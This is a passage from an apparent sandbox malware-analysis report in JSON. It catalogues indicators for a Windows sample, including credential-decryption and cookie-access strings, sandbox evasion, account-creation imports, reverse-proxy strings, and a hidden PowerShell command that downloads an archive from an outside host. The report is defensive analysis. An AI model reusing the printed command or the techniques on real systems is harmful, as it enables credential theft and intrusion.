Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$32","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$33","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \".youtube.com\" (Indicator: \"youtube.com\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \".github.com\" (Indicator: \"github.com\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"github.com\" (Indicator: \"github.com\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \".paypal.com\" (Indicator: \"paypal.com\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"Handle enumeration requires NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"UserName\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"TunnelUserName\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"GetUserNameW\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"Handle enumeration requires NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using web history","description":"Found string \"%s\\places.sqlite\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"%s\\formhistory.sqlite\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-662","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Foxmail_is1\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"Found string \"QueryServiceConfigA\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"QueryServiceConfig2A\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"EnumServicesStatusExA\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"QueryServiceStatus\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"QueryServiceConfigA\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"QueryServiceStatus\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"EnumServicesStatusExA\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"QueryServiceConfig2A\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"$37","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" HTTP/1.1 200 OK\nDate: Thu\n 04 Jun 2026 13:27:22 GMT\nContent-Type: text/plain; charset=utf-8\nContent-Length: 3\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>55530A.......\n \"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache\" Response ==> HTTP/1.1 200 OK\nDate: Thu\n 04 Jun 2026 13:27:21 GMT\nContent-Type: text/plain; charset=utf-8\nContent-Length: 3\nAccess-Control-Allow-Origin: *\nX-Ttl: 60\nX-Rl: 44 with response body ==>55530A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"nul\" (Indicator: \"ping 127\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-5070","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping \"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExA\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"tmp_1dcd6d3c_app.exe\" called \"InternetReadFile\" with parameter 31 (UID: 00000000-00007748)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"tmp_1dcd6d3c_app.exe\" called \"InternetOpenA with parameter Mozilla/5.0\" (UID: 00000000-00007748)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /line/?fields=countryCode\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to check internet connectivity","description":"Found string \"ping 127.0.0.1 -n 3 >nul\" (Indicator: \"ping 127.0.0.1\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-573","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownloadToFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"URLDownloadToFileA\" (Indicator: \"URLDownload\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"powershell.exe -WindowStyle Hidden -Command \"Invoke-WebRequest -Uri 'https://www.amyuni.com/downloads/usbmmidd_v2.zip' -OutFile '%s'; Expand-Archive -Path '%s' -DestinationPath '%s' -Force\"\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"file/memory contains long string with (Indicator: \"ipconfig /all\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-325","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"Found reference to API \"NetUserSetInfo\" (Indicator: \"NetUserSetInfo\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"NetUserSetInfo\" (Indicator: \"NetUserSetInfo\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve list of TCP/UDP endpoints (API string)","description":"Found reference to API \"GetExtendedUdpTable\" (Indicator: \"GetExtendedUdpTable\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetExtendedUdpTable\" (Indicator: \"GetExtendedUdpTable\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"GetExtendedTcpTable\" (Indicator: \"GetExtendedTcpTable\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-273","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]","description":"Found reference to \"mail.smtpserver.\" (Indicator: \"SmtpServer\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-618","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"file/memory contains long string with (Indicator: \"smtp\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-499","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"inet_ntoa\" (Indicator: \"inet_ntoa\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"inet_addr\" (Indicator: \"inet_addr\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WSACleanup\" (Indicator: \"wsacleanup\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"__WSAFDIsSet\" (Indicator: \"__wsafdisset\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"wsagetlasterror\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"RProxy: connect id=%u host=%s port=%u\" (Indicator: \" connect \"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"0.0.0.0\"\n \"127.0.0.1\"\n Potential IP \"127.0.0.1\" found in string \"Host: 127.0.0.1:%d\"\n Potential IP \"127.0.0.1\" found in string \"ping 127.0.0.1 -n 3 >nul\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$59","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET %s HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"GET /line/?fields=countryCode HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007748.00000000.139879.FAD40000.00000004.mdmp\")\n Found string \"Hostip-api.comGET /line/?fields=countryCode HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007748.00000000.139879.FAD40000.00000004.mdmp\")\n Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00007748.00000000.139879.FAD40000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /line/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetLocalGroupAdd\" which can \"create a local group in the security database.\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"NetLocalGroupAddMembers\" which can \"add membership of one or more existing user accounts or global group accounts to an existing local group.\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"NetUserAdd\" which can \"add a user account and 